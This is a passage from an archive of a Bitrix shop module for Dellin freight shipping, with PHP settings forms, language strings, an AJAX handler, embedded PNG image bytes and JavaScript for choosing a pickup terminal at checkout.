Loc::getMessage("DELLINDEV_NAME_COMPANY") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <input type="text" name="CONFIG[YURI][NAME]" value='<? echo $dataValueYuri['NAME'] ?>' > </td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_INN_SENDER") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <input type="text" name="CONFIG[YURI][INN]" value='<? echo $dataValueYuri['INN'] ?>' > </td> </tr> <tr class="heading"> <td colspan="2"><?= Loc::getMessage("DELLINDEV_CONTACT_PERSON_BLOCK") ?><br/></td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_PERSON_FIO") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <input type="text" name="CONFIG[PERSON][NAME]" value='<? echo $dataValuePerson['NAME'] ?>' > </td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_PERSON_PHONE") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <input type="text" name="CONFIG[PERSON][PHONE]" value='<? echo $dataValuePerson['PHONE'] ?>' > </td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_PERSON_EMAIL") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <input type="text" name="CONFIG[PERSON][EMAIL]" value='<? echo $dataValuePerson['EMAIL'] ?>' > </td> </tr> <script type="text/javascript"> BX.message({ "SALE_LOCATION_MAP_CLOSE": "<?=Loc::getMessage("SALE_LOCATION_MAP_CLOSE")?>", "SALE_LOCATION_MAP_LOC_MAPPING": "<?=Loc::getMessage("SALE_LOCATION_MAP_LOC_MAPPING")?>", "SALE_LOCATION_MAP_CANCEL": "<?=Loc::getMessage("SALE_LOCATION_MAP_CANCEL")?>", "SALE_LOCATION_MAP_PREPARING": "<?=Loc::getMessage("SALE_LOCATION_MAP_PREPARING")?>", "SALE_LOCATION_MAP_LOC_MAPPED": "<?=Loc::getMessage("SALE_LOCATION_MAP_LOC_MAPPED")?>" }); BX.ready(function() { BX.Sale.Dellin.YuriSettings.ajaxUrl = "<?=$componentPath.'/ajax.php'?>"; BX.Sale.Dellin.YuriSettings.getOpfData(); BX.Sale.Dellin.YuriSettings.getCounterAgents(); //BX.Sale.Location.Map.serviceLocationClass = "<?//=CUtil::JSEscape($arParams['EXTERNAL_LOCATION_CLASS'])?>//"; }); </script> components/dellindev/dellindev.shipment.choose/lang/ru/class.php000064400000000310151760651320021137 0ustar00<? $MESS["SALE_SSC_MAP_YANDEX"] = "Карта Yandex"; $MESS["SALE_SSC_MAP_GOOGLE"] = "Карта Google"; $MESS["SALE_SSC_MAP_NONE"] = "Без карты"; ?>components/dellindev/dellindev.shipment.choose/lang/en/class.php000064400000000211151760651320021113 0ustar00<? $MESS["SALE_SSC_MAP_YANDEX"] = "Yandex Maps"; $MESS["SALE_SSC_MAP_GOOGLE"] = "Google Maps"; $MESS["SALE_SSC_MAP_NONE"] = "No maps"; ?>components/dellindev/dellindev.shipment.choose/ajax.php000064400000004261151760651320017417 0ustar00<? use \Sale\Handlers\Delivery\Dellin\AjaxService; /** * Bitrix Framework * @global CMain $APPLICATION */ define("NO_KEEP_STATISTIC", true); define("NO_AGENT_STATISTIC", true); define("NO_AGENT_CHECK", true); define("NOT_CHECK_PERMISSIONS", true); require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php"); $result = array("ERROR" => ""); if (!\Bitrix\Main\Loader::includeModule('sale')) $result["ERROR"] = "Error! Can't include module \"Sale\""; $saleModulePermissions = $APPLICATION->GetGroupRight("sale"); if($result["ERROR"] == '' && $saleModulePermissions >= "W" && check_bitrix_sessid()) { $action = isset($_REQUEST['action']) ? trim($_REQUEST['action']): ''; if (\Bitrix\Main\Loader::includeModule('dellindev.shipment')) { switch ($action) { case "terminal_data": $delivery_id = (isset($_REQUEST['delivery_id']) && !empty($_REQUEST['delivery_id']))? $_REQUEST['delivery_id'] : AjaxService::LoggerInfo($action, 'delivery_id is null or empty'); $person_type_id = (isset($_REQUEST['person_type_id']) && !empty($_REQUEST['person_type_id']))? $_REQUEST['person_type_id'] : AjaxService::LoggerInfo($action, 'persom_type_id is null or empty'); $result = (!empty($delivery_id))? AjaxService::getTerminalsForAjaxOfSession($delivery_id, $person_type_id): ['ERROR' => 'delivery_id is null or empty']; break; default: $result["ERROR"] = "Error! Wrong action!"; break; } } else { $result["ERROR"] = "Error! Can't include module \"dellindev.shipping\""; } } else { if($result["ERROR"] == '') $result["ERROR"] = "Error! Access denied"; } if($result["ERROR"] <> '') $result["RESULT"] = "ERROR"; else $result["RESULT"] = "OK"; if(mb_strtolower(SITE_CHARSET) != 'utf-8') $result = \Bitrix\Main\Text\Encoding::convertEncoding($result, SITE_CHARSET, 'utf-8'); header('Content-Type: application/json'); echo json_encode($result); \CMain::FinalActions(); die;components/dellindev/dellindev.shipment.choose/class.php000064400000006733151760651320017607 0ustar00<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true) die(); use \Bitrix\Main\Config\Option; use \Bitrix\Main\Localization\Loc; use Bitrix\Main\ArgumentNullException; use Bitrix\Main\ArgumentOutOfRangeException; class CDellinShippingChooseComponent extends CBitrixComponent { // const MAP_TYPE_YANDEX = 'yandex'; // const MAP_TYPE_GOOGLE = 'google'; // const MAP_TYPE_NONE = 'none'; /** * @param array $params * @return bool * @throws ArgumentNullException * @throws ArgumentOutOfRangeException */ public function checkParams($params) { return true; } /** * @param array $params * @return array */ public function onPrepareComponentParams($params) { if(CModule::IncludeModule("dellindev.shipment")){//fix TypeError... maybe $params = parent::onPrepareComponentParams($params); // if(!$params['DELIVERY_LOCATION']) // { // unset($_SESSION['current_terminals']); // } $userType = $params['USER_RESULT']['PERSON_TYPE_ID']; $terminalList = \Sale\Handlers\Delivery\Dellin\AjaxService::getTerminalsForAjaxOfSession(); $widgetParams = $this->getWidgetParams($terminalList); $currentTerminalField = $this->getFieldIdOnCODE($userType, 'TERMINAL_ID'); $currentDeliveryTimeStartField = $this->getFieldIdOnCODE($userType, 'DELLIN_DELIVERYTIME_START'); $currentDeliveryTimeEndField = $this->getFieldIdOnCODE($userType, 'DELLIN_DELIVERYTIME_END'); //clear teminals block // echo '<pre>'; // var_dump($params); // echo '</pre>'; // die(); $params['dellin']['terminalList'] = $terminalList['terminals']; $params['dellin']['currentTerminalField'] = $currentTerminalField; $params['dellin']['currentDeliveryTimeStartField'] = $currentDeliveryTimeStartField; $params['dellin']['currentDeliveryTimeEndField'] = $currentDeliveryTimeEndField; $params['dellin']['terminalsMethod'] = $terminalList['terminals_method_id']; $params['dellin']['widget'] = $widgetParams; // $params['dellin']['city'] = $terminalList return $params; } } private function getFieldIdOnCODE($userType, $code){ $propsListToID = \DellinShipping\Kernel::getTerminalProps($userType); foreach ($propsListToID as $prop){ if($prop['CODE'] == $code){ $idField = $prop['ID']; } } return $idField; } private function getWidgetParams($terminalList) { $result = [ 'hasShowDellinMap' => false, 'isOldViewComponent' => true,//default - is old value ]; if(is_array($terminalList['terminals_method_id']) && count($terminalList['terminals_method_id']) > 0 ) { $config = \Bitrix\Sale\Delivery\Services\Manager::getById($terminalList['terminals_method_id'][0]); $stateField = $config['CONFIG']['WIDGET']; } $key = COption::GetOptionString("fileman", "yandex_map_api_key"); if($stateField['VIEW_TYPE'] == 0) { $result['hasShowDellinMap'] = false; $result['isOldViewComponent'] = true; } if($stateField['VIEW_TYPE'] == 1) { if(isset($key) && !empty($key)){ $result['hasShowDellinMap'] = true; } $result['isOldViewComponent'] = false; } if($stateField['VIEW_TYPE'] == 2) { $result['hasShowDellinMap'] = false; $result['isOldViewComponent'] = false; } return $result; } /** * void */ public function executeComponent() { try { $this->checkParams($this->arParams); } catch(\Exception $e) { ShowError($e->getMessage()); return; } $this->includeComponentTemplate(); } }components/dellindev/dellindev.shipment.choose/templates/.default/lang/ru/template.php000064400000001233151760651320025352 0ustar00<? $MESS["DELLINDEV_SHIPMENT_NAIMENOVANIE_TERMINA"] = "Наименование терминала: "; $MESS["DELLINDEV_SHIPMENT_GOROD"] = "город"; $MESS["DELLINDEV_SHIPMENT_VYBERITE_TERMINAL_NA"] = "Выберите терминал на карте:"; $MESS["DELLINDEV_SHIPMENT_DELOVYE_LINII"] = "Деловые линии"; $MESS["DELLINDEV_SHIPMENT_VYBRATQ_TERMINAL"] = "выбрать терминал"; $MESS["DELLINDEV_SHIPMENT_NAJALI_NA"] = "Нажали на Dellin"; $MESS["DELLINDEV_SHIPMENT_NAZAD"] = "Назад"; $MESS["DELLINDEV_SHIPMENT_VPERED"] = "Вперёд"; $MESS["DELLINDEV_SHIPMENT_KLIK_NA_IZMENITQ"] = "Клик на изменить"; ?>components/dellindev/dellindev.shipment.choose/templates/.default/lang/en/template.php000064400000001442151760651320025330 0ustar00<? $MESS["SALE_SSC_PHONE"] = "Phone"; $MESS["SALE_SSC_ADRES"] = "Address"; $MESS["SALE_SSC_WORK"] = "Business hours"; $MESS["SALE_SSC_STORE"] = "Warehouse"; $MESS["SALE_SSC_EMAIL"] = "E-Mail"; $MESS["SALE_SSC_DESC"] = "Description"; $MESS["SALE_SSC_CHANGE"] = "Edit"; $MESS["SALE_SSC_STORE_EXPORT"] = "Pick-up address"; $MESS["SALE_SSC_ADD_INFO"] = "Additional warehouse information"; $MESS["SALE_SSC_GOOGLE_MAP_INFO"] = "Attention! To use Google Maps:<ol><li>Get the Google API KEY and assign appropriate permissions.<br>(Get more details here: #A1#)<li>Save this key on the #A2#Site Explorer module settings form#A3#.</li></ol>"; $MESS["SALE_SSC_GOOGLE_MAP_INFO_TITLE"] = "Information"; $MESS["SALE_SSC_DIALOG_CLOSE"] = "Close"; $MESS["SALE_SSC_MAP_TYPE_CHANGE_ERROR"] = "Error changing map type"; ?>components/dellindev/dellindev.shipment.choose/templates/.default/images/sprite-markers.png000064400000005420151760651320026404 0ustar00�PNG IHDR3C1�=�sBIT|d� �IDATh��[Ol��}owLXZ�Q�RKYˊ��i�X�S*�\����H��P��1A�%p��sB�P�� i��*68QL�qۘ]��q�o������ffgvf���R�*�7;����M���� ZOa�\��o4�����Y��K�%����ǚ����<��wyu8���:�5iƚ�PZPc�q =m�{��}Q]�jA�F �����w��w�E�x����f>�"��M�L ����@n��"��h�"1{����h�Q�a�n��/�g^���TL�d;ݤ���f�W�0f>EDib��rM�B$��j�Gz��rn-�����KE�AZ-`���>�@& �$��4�Yj>��Պ�E�!�/BNP�$�~��'ߩ�M��C��P��h+D۰Z�2�$c�ț`��^�j�� I��IB�{Zi-@�h���Ṗ�����'� ���(�-1Y�$K��3}�>�3r&��7���(>Plj�`"[�K`�{:p��ɴ�@l�s�(8>�Jb��.0�[�I�������8��!��?J�; �"g{�j��f;B�l�Zz�"��o�=�RY��;A��!g^���t_ �y2I�j�����!���R�R" �p���M�������+�����2�|�.�v�b��-�*���j�t�OEa/��zY�n�,�E���d�v �-�\i����J�~��e�yʉ͇@�G`�.�x��;ֽ���Aq2nh��g��H*s�"̉�[�A�fy��d����'�=WAd�/���NANv�S�� ;�G& 9�<�AP$NO��N�%��wzr��"��0��F[K?Օ�81���6� ��!g�@�A�V���T��{�rn�u��i���Y& ��c ��11�;NA��]i1�; ���w@O����+V��E"��_��S/�S㠭�*̝[9��GK�jgn2��R��E/˙>�"1�����aU����&n��(̑'r�Nv�_y��4�(��m{�$�$d|@��6��~@,�⹓m������Ӣ*H&�N��f8=���xbH�J�;��Eb�Ċ%�"�;[��%��U`�81hQ��W!v}�6���a�'I��n��V��d�n�s�4��_�f�|�+*Ν�M:��=�Ll�i�*�F[A���*�i = j���c�H$��c= �R~���I25�}nn�?uifP�ore����;�@N�yr�m�����Zd�_�e�Ed�篮>���(���Q���x�OE)@�vj����HLɱ߰��~�a��/̝7�ϙh����3�hړ����7.*��t�p�D�AD�g���+ ��.���_/����6��|ׂ��(�YhQP!N��Oq�v=���%�����X+�]�l_%��ͻ`y��f`A2�QhQ��}��dwU�[�|r ��BG��f,P�!���u49��&��e�֜QN{�yX����!Sd���3,?�M�ē쯫o�:c�pzZ�//la���SI� �"b-���<���#�^؍����>��~A�U%I;i�i@O���L���aL�����W�:p����0�D&�'���J5�j�'�������Lfe�ƍ���k��{J��z�B�5v�j��S%�i���T*���W���d2���|���=���a(b-�ǡ�s�sj|͚r�I&�y���X��t�F�5��뺮g2�6�<�m�6}�dlX'��wtn�#�Tۃ �=CO^"1,g�g�5:��+0h�X �� i+�d�Ԭ�|���?vt,��G�=�X���h������R��6Q�K�o>������>&@���è�tH�G��֙D9}����� '\���C��꠴V���2�����^����;BR!�$^�G�Ba�%����/D��'��y�T��Eb��n�J�5y��M���iJ��&��i�B!��7�\ԉ�yU�V�nj���ܽ�~d��L����ZH�0�4M�5ƒ���wuu���JƊz[��2�_"1��:���B�k��Q#Y:�@.oX�4��Ν;������l�r���n̟��MAfCB��d����� |'6�n��`~�>�ب6�v����{��̵/}��w$�AJ�d��0�� ��Jz>�����ˀ*��u��d�4{�DbΉr��g&?���5��>5����L��C>�ų�>�T�P]�Q�Z��H���kg�=1F�0K3�0%/��Ng���9u��]� �U>�bf�s�VQKm����⹉g�� �R.�BW�̽O7m���JHب���P�^C�]����ϳ���߽�m��CF�����jZ-3{�j�ݐ����;w���.�P���\���{��U��+����LZ��U�����8ń+����w�>ӱ�Ϯ�fځ�;3@.1�[�.�OL��H:-tz������:>��u�L�+�������g�^ZZz痵�utt�T���f����K 6�?��'��������z�̼�/�W �<��,���lc^J03s6�����[�jc}��י��3�c^�bff)y�~��l3��n[�u+����طc�w�����Z��X�V��j0s�eVw�D~,�/��(�8ӿ.IEND�B`�components/dellindev/dellindev.shipment.choose/templates/.default/images/no_store.png000064400000004203151760651320025262 0ustar00�PNG IHDREE�+)JIDATx��\ko�:�m�6� �� K��Ik;ڇA*M�C���^E=�H�/9n��?���$�$�uj�F�i���:�l6�4 �x�^�m[��>װ�`���""m�V��ܮ��|>K�R��i$�Th�<&"��פ��cB�ax�]S��Y����)%��7l�6|R�Y�i�Y��Ϣ�m��KN)�)�E0��J[Ӭ�2�4���yh�v��<�?��(��P�bv����tLA�������s[D�ϋ?+%��_�u˞�� {���>�R5���-A�_`��d�Z�Z��Vf@���հ.��y� aD���� �7u����f\k��-� 贑 �GV�2lZ��T� �ּQ��e�5��Z�l{@pvB�$� ���ׅ��7�[�>�����ض#��\���5���u]'"�N���g����@��H�Y�s���R�R��ׂ&*��^\���yn���B+�Z�p�Xv�, �0N{�-z��n�w�1�R8c8������j�ܞY���u)O�d�Y�� ~�~�_�FS��ƀ�E�y"�Ѧls+��?����}"�Na���W� 6f0R�gbS����E�4M3���m[���g���Hm�*���S���G-#���:�Q^^^\ADޕѶ�|���i�<bn�⑥���`��� ��� �8���.L������ۓ�Y��^O��E���gA�����W�Q��)%�psAu<���<�2K��B��\LDd�Y�("���RĘ�xsG9�N�i�� ����_�E�R��}"i��i����L�X�G��:���;�$�������F�Q�^X�x�hWi���݃=0���]Q��֬�EF���7�歉7:�f�/�������"����g�2-e�l�[y||���J N)��r���Tb�Qbe*DHJF�v����i�DD�۷o��nEd��{�K�ۭ�{�*%Rȱʵv�i5��G���7v��l��b�:^�9m����S�"[��ا�h�[�y��E3��Tv����26��{��IRJ���P2J�{8��"���9����������R��v[N~�&y~~�q�N����c�|$�1���0E.�`Y��p���"K��f�c�]�r�7j�F��/���>#�uƫƔ�1�_������f:�SGm}`�W�$K!�A�EIJV�O)�������]���z�������(�����th�0(�"S�s����VN��:���k)�RJ��ld�ە�{�\X(^h���>,;o�4���G��q���W�l6E �ͦXP�9�N�S�,d%(��}јg����ki����p��A�a��}�2���{1���,�0�.�ޝ��v��\��S3E�ceW����JO)�0���/9���u��� �U�O�g��eOh��)�*0+���r:���b �8��%���R�� k�<Ze��Ky�bXj��~j6�������={�d]� �x]Z��S�m�����[�!��m=�� �S�,��}��˔�<==�jգh�����w�[-�,��S��ȩ6g�����$V"d�i����پU�X0���c���Gc��`�ae��"b�d�\�0�L�ʖ�FYD ۮ��u`7�X �J����*�(�"����uM^����s��[xؚ����x��⁷G�ռ6,�kڮ�J����Ya]_�y-v�٣��[�I�w�@�[`{����֘`���Fd�h�o��`�KD�gs��^J�:�[�<!���t-�C��� (v�Sx�5�֔�ph���6���1��[Պ����fk�"�����/��>t�JqM�e�`����{�>�^`P��@���� k�h�&��b�Vr��g�H,`��`�!:m�mU`˿Ԯ)��\�~ ����*�"%ׂ 2e/C13F�h��HѶ8���3�� �7bb�6�b{P�}���Y���� {&�0<%y��]���=lۮF!����C�#VZ+Y� % ƀ�H�����Q3��pv��b��E���W��yh���Q>��#����G��0�4�|��2��d��F�� ��IEND�B`�components/dellindev/dellindev.shipment.choose/templates/.default/template.php000064400000136435151760651320024020 0ustar00<? use Bitrix\Main\Localization\Loc; use Sale\Handlers\Delivery\Dellin\AjaxService; /** @var CMain $APPLICATION */ Loc::loadMessages(__FILE__); if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); /** * JS-совская часть скрипта создана на базе стандартного bitrix.order.ajax * Работоспособность гарантируется только на СТАНДАРТНОМ шаблоне, на остальных - не факт. * Используйте BitrixLike решения, старайтесь реже отходить от коробочных имплементаций и будет Вам счастье :D * */ ?> <script type="text/javascript"> BX.namespace('BX.Dellin'); BX.Dellin = { ajaxpage: "<?=$componentPath.'/ajax.php'?>", terminalList: <?=json_encode($arParams['dellin']['terminalList'], JSON_UNESCAPED_UNICODE) ?>, terminalsMethod: <?=json_encode($arParams['dellin']['terminalsMethod'], JSON_UNESCAPED_UNICODE) ?>, fieldTerminalID: <?=$arParams['dellin']['currentTerminalField'] ?>, fieldDeliveryTimeStart: <?=$arParams['dellin']['currentDeliveryTimeStartField']?>, fieldDeliveryTimeEnd: <?=$arParams['dellin']['currentDeliveryTimeEndField']?>, selectedDeliveryMethod: <?=$arParams['USER_RESULT']['DELIVERY_ID']?>, widgetParam: <?= json_encode($arParams['dellin']['widget'])?>, hasShowDellinMap: <?=json_encode($arParams['dellin']['widget']['hasShowDellinMap'])?>, // �������� ������� ����� �������� �� ������� isOldViewComponent: <?=json_encode($arParams['dellin']['widget']['isOldViewComponent'])?>, // ������� ��� ������� ������� ������������� � ������ select isCloseCustomBlock: false, // �������� ������������ ��������� ��������� ������ ����������� ���������. hasMountedMaps: false, // state props choosedTerminalId: null, // выбранный терминал recent_delivery_value: null, isTerminalMethodSelected: function(){ if(!BX.Dellin.terminalsMethod) return false ; let res = false; BX.Dellin.terminalsMethod.map(function (method) { if(BX.Dellin.getDeliveryData().ID == method){ res = true; } }); return res; }, setIdFieldTerminal: function(result){ if(!result.order) return ; let fieldId = ''; result.order.ORDER_PROP.properties.map(function (field) { if(field.CODE == "TERMINAL_ID"){ fieldId = field.ID; } }); return fieldId; }, getBlockPickup: function (){ return document.querySelector('#bx-soa-pickup'); }, init: function () { console.log("Dellin init"); let terminalID = BX.Dellin.getFieldElementByID('input', BX.Dellin.fieldTerminalID); if(!terminalID){ console.warn('DELLIN WARNING: Field terminalID is null!'); return ; } terminalID.style = "display:none;"; console.log('Hide input terminal'); if(!BX.Dellin.isOldViewComponent) { BX.Dellin.hideTerminalBlock(); } let buildTerminal = BX.Dellin.getTerminalsList(); terminalID.after(buildTerminal); }, styledFieldsSelect: function(){ let selectClassForCheckout = 'form-control bx-soa-customer-select'; let deliveryTimeStart = BX.Dellin.getFieldElementByID('select', BX.Dellin.fieldDeliveryTimeStart); if(!deliveryTimeStart){ console.warn('DELLIN WARNING: Field deliveryTimeStart is null!'); return ; } deliveryTimeStart.className = selectClassForCheckout; let deliveryTimeEnd = BX.Dellin.getFieldElementByID('select', BX.Dellin.fieldDeliveryTimeEnd); if(!deliveryTimeEnd){ console.warn('DELLIN WARNING: Field deliveryTimeEnd is null!'); return ; } deliveryTimeEnd.className = selectClassForCheckout; }, getTerminalBlock: function(){ return document.querySelector('div[data-property-id-row="'+BX.Dellin.fieldTerminalID+'"]'); }, hideTerminalBlock: function(){ let terminalBlock = BX.Dellin.getTerminalBlock(); if(!terminalBlock){ console.warn('Field terminal is null!'); return ; } terminalBlock.style = 'display:none'; }, showTerminalBlock: function(){ let terminalBlock = BX.Dellin.getTerminalBlock(); if(!terminalBlock){ console.warn('DELLIN WARNING: Properties with code "TERMINAL_ID" is null'); return ; } terminalBlock.style = ''; }, getFieldElementByID: function(typeField, fieldID){ return document.querySelector(typeField+'[name="ORDER_PROP_'+fieldID+'"]'); }, removeSelectBlock: function(){ let terminals = document.querySelector('#terminals'); if(!terminals){ return ; } terminals.remove(); }, buildBlockDataWithTerminals: function(parent, result){ let label = document.createElement('label'); label.id = 'label_terminals'; let strong = document.createElement('strong'); strong.innerHTML = BX.message("DELLINDEV_TERMINAL_LIST"); label.appendChild(strong); let br = document.createElement('br'); br.id = 'container-br'; parent.appendChild(label); parent.appendChild(br); BX.Dellin.getTerminalsList(result, parent); }, builderOptionList:function(fieldterm, field, id, name, type){ let option = document.createElement('option'); option.innerHTML = name; option.value = id; option.id = type+'-added'; option.selected = (field.dataset.value == id); field.appendChild(option); // option.addEventListener('click', function () { // console.log(BX.message("DELLINDEV_SELECTED_TERMINAL"), option.value); // BX.Dellin.setValueInInput(fieldterm, option.value); // }) }, setValueInInput: function(prop_id, value){ let propElement = document.querySelector('[name="ORDER_PROP_'+prop_id+'"]'); propElement.style = 'display:none'; propElement.readonly = true; propElement.value = value; }, getCurrentTerminalId: function() { let prop_id = BX.Dellin.fieldTerminalID; let propElement = document.querySelector('[name="ORDER_PROP_'+prop_id+'"]'); if(!propElement) { console.warn('Terminal props is undefined'); return ; } return propElement.value; } , getTerminalsList: function () { if(!BX.Dellin.terminalList){ return ; } BX.Dellin.removeSelectBlock(); let select = document.createElement('select'); select.id = 'terminals'; select.className = 'form-control bx-soa-customer-select'; let prop_id = BX.Dellin.fieldTerminalID; //fix bug payment change state if(!BX.Dellin.choosedTerminalId){ let firstValue = BX.Dellin.terminalList[0].terminal_id; BX.Dellin.choosedTerminalId = firstValue; BX.Dellin.setValueInInput(prop_id, firstValue); } if(!BX.Dellin.terminalList){ BX.Dellin.hideTerminalBlock(); } BX.Dellin.terminalList.map(function (terminal) { BX.Dellin.builderOptionList(prop_id, select, terminal.terminal_id, terminal.address, 'terminal'); }); select.addEventListener('change', function () { BX.Dellin.setValueInInput(prop_id, select.value); BX.Dellin.choosedTerminalId = select.value; console.log(BX.message("DELLINDEV_SELECTED_TERMINAL"), select.value); }); return select; }, getDeliveryData: function () { return BX.Sale.OrderAjaxComponent.getSelectedDelivery() }, getFormData: function () { return BX.Sale.OrderAjaxComponent.getAllFormData(); }, ajaxSend: function (id) { let postData = { sessid: BX.bitrix_sessid(), action: 'terminal_data', ajax: 'Y', delivery_id: id, person_type_id: BX.Dellin.getFormData().PERSON_TYPE, }; BX.ajax({ timeout: 300, method: 'POST', dataType: 'json', url: window.location.pathname, data: postData, onsuccess: function(result) { if(result.RESULT == 'OK'){ BX.Dellin.init(result); } }, onfailure: function(status) { console.log("onfailture", status); } }); }, changePropsID: function (result) { let props = result.order.ORDER_PROP.properties; props.map((prop)=> { if(prop.CODE == 'DELLIN_DELIVERYTIME_START'){ BX.Dellin.fieldDeliveryTimeStart = prop.ID; // console.log(BX.Dellin.fieldDeliveryTimeStart); return; } if(prop.CODE == 'DELLIN_DELIVERYTIME_END'){ BX.Dellin.fieldDeliveryTimeEnd = prop.ID; // console.log(BX.Dellin.fieldDeliveryTimeEnd); return; } if(prop.CODE == 'TERMINAL_ID'){ BX.Dellin.fieldTerminalID = prop.ID; // console.log(BX.Dellin.fieldTerminalID); return; } }) }, appenChildInBlockDescription: function(block) { let deliveryBlock = document.querySelector('#bx-soa-delivery'); let description = deliveryBlock.querySelector('div.bx-soa-pp-company-block'); description.appendChild(block); }, getCityParameters: function() { let city = {}; let currentTerminal = BX.Dellin.getCurrentTerminalId(); if(!currentTerminal) { console.warn('City is null'); return ; } BX.Dellin.terminalList.forEach((terminal)=>{ city = terminal.more.terminal.infoCity; }); return city; }, getTerminalInfoById: function(terminalId) { let result = {}; if(BX.Dellin.isTerminalMethodSelected()) { if(!BX.Dellin.terminalList) { return ; } BX.Dellin.terminalList.forEach((terminal)=> { terminal = terminal.more.terminal; if(terminal.id == terminalId) { // console.log(terminal); result = { name: terminal.name, terminal_id: terminalId, address: terminal.address, latitude: terminal.latitude, longitude: terminal.longitude, schedule: terminal.calcSchedule.arrival, exceptionShedule: terminal.worktables.specialWorktable.giveout, contactPhone: (terminal.mainPhone)?terminal.mainPhone:'' } } }) } return result; }, buildHiddenBlockTerminals: function() { /** * ���� ������ ���������� ��������� �������� ��� ������ ���� ������ �� ����������. * */ let currentTerminal = BX.Dellin.getCurrentTerminalId() let selectedPickUp = BX.Dellin.getTerminalInfoById(currentTerminal); // console.log(selectedPickUp); // console.log(currentTerminal); let html = ''; html += '<strong><?=GetMessageJS("DELLINDEV_SHIPMENT_NAIMENOVANIE_TERMINA")?>' + BX.util.htmlspecialchars(selectedPickUp.name) + '</strong>'; if (selectedPickUp.address) html += '<br><strong>' + BX.message('SOA_PICKUP_ADDRESS') + ':</strong> ' + BX.util.htmlspecialchars(selectedPickUp.address); if (selectedPickUp.contactPhone) html += '<br><strong>' + BX.message('SOA_PICKUP_PHONE') + ':</strong> ' + BX.util.htmlspecialchars(selectedPickUp.contactPhone); if (selectedPickUp.schedule) html += '<br><strong>' + BX.message('SOA_PICKUP_WORK') + ':</strong> ' + BX.util.htmlspecialchars(selectedPickUp.schedule); if(selectedPickUp.longitude && selectedPickUp) if(selectedPickUp.exceptionShedule.length < 1) { let startText = ''; let text = selectedPickUp.exceptionShedule.reduce( (acc, currenValue) => acc+ ', '+currenValue, startText ); html += '<br>' + BX.util.htmlspecialchars(text); } //pickUpContainer.innerHTML = html; return html; }, createTerminalBlockInPickUp: function() { let head = document.createElement('div'); let pickUpMainList = document.createElement('div'); pickUpMainList.className = 'bx-soa-pickup-list main'; if(!BX.Dellin.terminalList) { return ; } BX.Dellin.terminalList.forEach((terminal)=>{ let data = BX.Dellin.getTerminalInfoById(terminal.terminal_id); let viewItem = BX.Dellin.createTerminalListItem(data); pickUpMainList.append(viewItem); }); return pickUpMainList; }, baloonTemplate: function() { let item = document.createElement('div'); item.className = 'bx-soa-pickup-list-item bx-selected'; item.style = 'background: #fff;margin: 10px;'; let itemAddress = document.createElement('div'); itemAddress.className = 'bx-soa-pickup-l-item-adress'; itemAddress.innerText = '{{properties.name}}'; let itemDetail = document.createElement('div'); itemDetail.className = 'bx-soa-pickup-l-item-detail'; let itemName = document.createElement('div'); itemName.className = 'bx-soa-pickup-l-item-name'; itemName.innerText = ''; let itemDescription = document.createElement('div'); itemDescription.className = 'bx-soa-pickup-l-item-desc'; let itemStr = BX.message('SOA_PICKUP_ADDRESS')+': '+'{{properties.address}}'+'<br>'+ BX.message('SOA_PICKUP_WORK') +': '+'{{properties.schedule}}'+'<br>'; itemDescription.innerHTML = itemStr; let itemButton = document.createElement('div'); itemButton.className = 'bx-soa-pickup-l-item-btn'; let button = document.createElement('div'); button.className = 'btn btn-sm btn-primary'; button.id = 'dellinChooseButton'; button.innerText = BX.message('INPUT_FILE_BROWSE'); button.dataset.id = '{{properties.terminal_id}}'; itemButton.append(button); itemDetail.append(itemName); itemDetail.append(itemDescription); item.append(itemAddress); item.append(itemDetail); item.append(itemButton); let ballonTemplate = ymaps.templateLayoutFactory.createClass( item.outerHTML, { build: function(){ ballonTemplate.superclass.build.call(this); //TODO ���������� ������������� ��������� let button = document.querySelector('#dellinChooseButton'); // button.forEach(function(button){ // �������� �� ���� �������. button.addEventListener('click', this.onClickChoose); // }); }, onClickChoose: function(event) { // console.log('Click in baloon', event); // console.log('id', event.srcElement.dataset.id); // BX.Dellin.setValueInInput(BX.Dellin.fieldTerminalID, event.srcElement.dataset.id); // BX.Dellin.changeCountIcon(); // BX.Dellin.clearDisplayContainer(); // BX.Dellin.changeContentInDellinBlock(); // let blockThisSection = document.querySelector('#bx-soa-delivery'); // let nextBlock = document.querySelector('#bx-soa-paysystem'); // BX.Sale.OrderAjaxComponent.fade(blockThisSection); // BX.Sale.OrderAjaxComponent.show(nextBlock); BX.Dellin.changeChoose(event.srcElement.dataset.id); BX.Dellin.closePropsBlock('choose'); BX.Dellin.hideTimeIntervals(); BX.Dellin.hideTerminalBlock(); } } ); return ballonTemplate; }, changeChoose: function(terminal_id) { console.log('new terminal_id', terminal_id); BX.Dellin.setValueInInput(BX.Dellin.fieldTerminalID, terminal_id); BX.Dellin.choosedTerminalId = terminal_id; BX.Dellin.changeCountIcon(); BX.Dellin.clearDisplayContainer(); BX.Dellin.changeContentInDellinBlock(); let blockThisSection = document.querySelector('#bx-soa-delivery'); let nextBlock = document.querySelector('#bx-soa-paysystem'); BX.Sale.OrderAjaxComponent.fade(blockThisSection); BX.Sale.OrderAjaxComponent.show(nextBlock); }, createTerminalListItem: function(terminal) { // console.log(terminal); let item = document.createElement('div'); item.className = (terminal.terminal_id == BX.Dellin.getCurrentTerminalId())?'bx-soa-pickup-list-item bx-selected':'bx-soa-pickup-list-item'; item.style = (terminal.terminal_id != BX.Dellin.getCurrentTerminalId())?'background: #fff':''; item.setAttribute('onclick', 'BX.Dellin.onItemClick()'); item.setAttribute('terminalId', terminal.terminal_id); let itemAddress = document.createElement('div'); itemAddress.className = 'bx-soa-pickup-l-item-adress'; itemAddress.innerText = terminal.name; let itemDetail = document.createElement('div'); itemDetail.className = 'bx-soa-pickup-l-item-detail'; let itemName = document.createElement('div'); itemName.className = 'bx-soa-pickup-l-item-name'; itemName.innerText = terminal.name; let itemDescription = 